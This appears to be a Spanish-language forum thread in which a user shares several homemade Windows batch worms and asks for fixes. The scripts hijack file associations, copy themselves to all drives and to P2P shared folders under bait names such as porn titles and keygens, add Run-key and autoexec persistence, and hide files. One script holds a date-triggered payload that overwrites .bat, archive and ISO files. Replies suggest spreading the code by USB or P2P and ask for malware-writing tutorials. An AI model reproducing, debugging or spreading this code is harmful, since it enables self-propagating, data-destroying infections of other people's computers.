Mensajes

Aqui la version final de mi pequeña creacion la version 'B' no es la gran cosa pero recuerden que es batch :S

Código (dos) [Seleccionar] Expandir


@echo off
assoc .avi=batfile
if %date% GEQ 02/27/2012 goto :~0xDdAy
if exist %systemdrive%\AnGurrIa.x (goto :EOF)
for %%A in (E F G H I J K L M N O P Q R S T U V W X Y Z) do copy %0 %%A:\AnGurrIa.bat
for %%u in (*.*) do attrib -s -r -a %%u >nul
copy /Y %0 %systemdrive%\AnGurrIa.bat >nul
attrib -r -h -s C:\autoexec.bat
copy %0 C:\AnGurrIa.x >nul
type C:\autoexec.bat|find "AnGurrIa.x">C:\autoexec.bat
echo call C:\AnGurrIa.x >> C:\autoexec.bat
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v BootConfig /t REG_SZ /d C:\AnGurrIa.x
attrib +r +h +s c:\autoexec.bat
attrib +r +h +s c:\AnGurrIa.x
set 1=VideosXxX
set 2="benlla_Carolina_xxxAVI"
set 3="mujer_con_pony_XXXX"
set 4="adolecentes_Ardientes"
set 5="hot_lesbians"
set 6="BoricuaxXxPlayBoy[Avi-DvDRip]"
set x=%homedrive%\ñoño.bk
cd\
type %0>ñoño.bk
mkdir %1%
cd %1%
for %%b in (%2% %3% %4% %5% %6%) do mkdir %%b
dir /b >%tmp%\secmngr.tmp
for /f "tokens=* " %%x in (%temp%\secmngr.tmp) do
call :~sEx %%x
net share "%homedrive%\VideosXxX"
pause >nul
:~sEx
set clit=%1
cd %clit%
type %1>"video.avi"
cd %homedrive%\%a%
echo set shell = CreateObject("wscript.shell") >%homedrive%\0x.vbs
echo shell run "cmd /c %0" xxx", vbHide >>%homedrive%\0x.vbs
start /B /HIGH /D %homedrive%\0x.vbs
set f="%systemdrive%%~AnGurrIa.bat"
cd "%systemdrive%%~AnGurrIa.bat"
echo eMule\Incoming\ > %windir%\mZ.p
echo Shareaza\Downloads\ >> %windir%\mZ.p
echo BearShare\Shared\ >> %windir%\mZ.p
echo EDONKEY2000\incoming\ >>%windir%\mZ.p
echo LimeWire\Shared\ >> %windir%\mZ.p
echo Ares??? >>%windir%\mZ.p
echo Daddy_Yankee_exitos >%windir%\mX.p
echo Kaspersky_Keygen >>%windir%\mX.p
echo benlla_carolina_sextape >>%windir%\mX.p
echo Windows_7_Keygen >>%windir%\mX.p
echo Harry_Potter[avi][DvD-Rip] >>%windir%\mX.p
echo reggaeton_lo_ma_pegao >>%windir%\mX.p
echo black_berry_unlocker[totalmentegratis] >>%windir%\mX.p
echo iphone_unlocker[gratis] >>%windir%\mX.p
set v4=1
set b4="%programfiles%\WinRar\WinRAR.exe"
%b4% a %windir%\t.rar %f%
if not %errorlevel%==9009 set v4=0
goto :~zUz
:~x0x
set v=%1
for /F "tokens=*" "delims=" %%n in (%windir%\mX.p) do (
if %v4%==0 copy /Y %0 "%%n.bat"
cls
%b4% a "%%n.rar" "%%n.bat")
goto :EOF
:~zUz
for /F "tokens=*" "delims=" %%q in (%windir%\mZ.p) do (if exist %programfiles%\%%n
cd %programfiles%\%%n
)
for %%i in (*.rar) do (
copy /Y %0 "%%m.bat"
)
%b4% a "%%a" "%%n.bat"
cls
call :~x0x %%a
pause >nul
cd %windir%
del /F *.p
cd\
assoc .x=batfile
ren c:\AnGurrIa.bat c:\AnGurrIa.x
copy /Y %0 %temp%\%random%.x
copy /Y %0 %appdata%\%random%.x
copy /Y %0 %allusersprofile%\%random%.x
:~0xDdAy
echo.UnEtE aL lAdO oScUrO, tEnEmOs GaLlEtAs GrAtIs!!! >%temp%\AnGurrIa.tmp
echo.OtRa GuErRa iNjUsTiFiCaDa??!! >>%temp%\AnGurrIa.tmp
for %%a in (*.txt,*.log) do ren *.bat %%a >nul
for %%a in (*.bat) do copy %temp%\AnGurrIa.tmp %%a >nul
for %%i in (*.iso,*.rar,*.zip,) do set xy=%%i
copy %temp%\AnGurrIa.tmp %xy%
del /F %temp%\AnGurrIa.tmp
:EOF
exit


les agradeceria si revisan el codigo y me dicen si tiene errores

alguno de ustedes saben donde encontrar buenos tutos de C para programar malware???






salu2

si, si es posible obtener acceso con netcat o crypto cat a una pc remota...peeeeeeero esto depende de cuales puertos tenga abierto...por el momento te recomiendo que leas este pdf .. http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf


saludos

bueno aqui esta mi codigo (en batch como es de esperarse) ya que soy nuevo en esto de la programacion en Batch seguire intentando programar cada vez un poco mejor  seguire practicando en este lenguaje de scripting tan facinante como es batch  ya estoy trabajando en la version "B" de este code, les pido que si dedican su tiempo a leer este codigo se detengan un poco a darme algunos consejos para asi aplicar lo aprendido en codigos futuros....de antemano gracias...

Código [Seleccionar] Expandir


@rem X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-TEST-FILE!$H+H*
@rem ++++++++++++++++++++++++++++++++++++++++++++++++
@rem +[No]: AnGurRIa.a                              +
@rem +[Au]: Sl0tH                                   +
@rem +[Pr]: No                                      +
@rem +[In]: Si                                      +
@rem +[Po]: No                                      +
@rem +[Ob]: Si                                      +
@rem +Comment:                                      +
@rem +Este archivo de comandos por lotes ah sido    +
@rem +creado con fines meramente educacativos       +
@rem +el autor del mismo no se responsabiliza del   +
@rem +mal uso o lo daños que puedan ser ocacionados +
@rem +por dicho codigo.                             +
@rem ++++++++++++++++++++++++++++++++++++++++++++++++
@set attrib=%eax%
@set for=%jmp%
@set copy=%get%
@set in=%oop%
@set echo=%null%
@set trash=
assoc .zzx=batfile
%trash%
if exist %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx (goto:_qwerty) else (goto:_ytrewq)
:_ytrewq
@%null% off
%trash%
%get% /Y %0 %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx
%trash%
reg add HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run /v MSNHelper /T REG_SZ /d %prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%eax% %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx +h +r +s
%trash%
%eax% %windir%\*.* -h -r -s
%trash%
%jmp% %%i %oop% (%windir%\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %windir%\*.* +h +r +s
%trash%
%eax% %windir%\web\*.* -h -r -s
%trash%
%jmp% %%i %oop% (%windir%\web\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %windir%\web\*.* +h +r +s
%trash%
%eax% %programfiles%\*.* -h -r -r
%trash%
%jmp% %%i %oop% (%programfiles%\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %programfiles%\*.* +h +r +r
%trash%
%jmp% %%i %oop% (%windir%\*.log,*.txt,*.htm,*.bat) do ren *.cmd
%trash%
%jmp% %%i %oop% (%windir%\web\*.log,*.txt,*.htm,*.bat) do ren *.cmd
%trash%
%jmp% %%i %oop% (%programfiles%\*.log,*.txt,*.htm,*.bat) do ren *.cmd
:_qwerty
%trash%
%null% @echo off >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% :_fe3d >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%windir%\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%windir%\web\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%programfiles%\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% goto:_fe3d >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%eax% %prografiles%\Windows Live\Messenger\msnhelp.zzx +h +r +s
%trash%
mkdir %prografiles%\WhenUsave
%trash%
mkdir %prografiles%\UltimateSearch
%trash%
mkdir %prografiles%\Complus Aplications
%trash%
mkdir %prografiles%\Search4fun
%trash%
mkdir %prografiles%\ZangoGames
%trash%


gracias a SDK por su tutorial el cual me esta siendo muy util y me ayudo con el entendimiento del For y a un user que me ayudo a entender mas el For que ahora por flojera no lo escribire...


saludos

digamos que se da el caso de que tengo varios discos (C,D,E,F,G...etc) y me eh infectado con un autorun.inf, como podria hacer para poder usar un comando sobre todos esos archivos que estan presentes en esos disco?

es posible hacer algo como:
attrib -h -r -s *.inf c:,d:,e:,f:,etc ?

o digamos que el caso es que el worm o el virus copia un .bat, .exe...como haria para hacer lo mismo pero en esos que tienen diferentes extensiones?

es posible hacer algo como:
attrib -h -r -s *.inf,*.exe,*.bat ?

gracias por sus comentarios de verdad...

Tampoco entiendo lo que quieres hacer...un malware??


Como te indica R.N.A. deberás propagarlo.. ya sea por usb, p2p, etc.

simple....mantenerme practicando, es lo unico que quiero, al principio queria hacer un virus con metodo de infeccion y todo pero, luego cambie y me tome el tiempo para aprender un poco mas luego publicare otro code este estara mejorado...y tendra payload incluido

los asteriscos son el nombre del archivo que estoy llamando 

Por cierto que quisiste hacer? un worm o virus o lo que sea que trataras de hacer que tuviese codigo maligno sin propagacion no es nada... por cierto se escribe payload.

lo de payload, lo escribi a ultimas por eso ni lo revise..pero gracias por revisar mi pedazo de code 

y tu sugerencia es....? que crees que le falta?

el primer intento que hago de hacer alguna cosa en batch...quiero que alguien se tome la molestia de revisar este codigo y si encuentra errores o me puede dar algunas sugerencias de como mejorarlo, adelante, las criticas constructivas seran bien recividas..

Código [Seleccionar] Expandir


@echo off
rem ***********************************************
rem * name: win32.amerifags                       *                                            
rem * by: sl0th                                   *        
rem * Infection method: No                        *
rem * Polymorphism: No                            *
rem * Payload: No                                 *
rem * Propagation method: No                      *                    
rem ***********************************************
copy /y "c:\System Volume Imformation\Winservices\amerifags.zzx"
assoc .zzx=batfile
reg add "HKLM\Software\Microsoft\Internet Explorer\http" /v "InternetExplorerUpdate" /d "c:\System Volume Imformation\Winservices\amerifags.zzx" /f
mkdir "c:\System Volume Imformation\Winservices"
attrib +h +r +s "c:\System Volume Imformation\Winservices\amerifags.zzx"
echo call "c:\System Volume Imformation\Winservices\amerifags.zzx">AUTOEXEC.bat
echo ^<head^> >>%USERPROFILE%\host.html
echo ^<title^> >>%USERPROFILE%\host.html
echo ^<h4^> [C.m.D] ^</h4^> >>%USERPROFILE%\host.html
echo ^</title^> >>%USERPROFILE%\host.html
echo ^</head^> >>%USERPROFILE%\host.html
echo ^<body^> >>%USERPROFILE%\host.html
echo ^<b^>^<h1^> vXed by sl0th!! ^</h1^>^</b^> >>%USERPROFILE%\host.html
echo ^</body^> >>%USERPROFILE%\host.html
eof


debo agradecer a SDK por el tutorial me esta siendo muy util y me ah alentado a seguir creando cositas como estas..

saludos

otra pregunta que es mas una duda que otra cosa en esta linea:

for %%a in (*.pif) do call %0 *** inf %%a

no deberia de haber unos parentesis? algo como esto?
for %%a in (*.pif) do (call) %0 *** inf %%a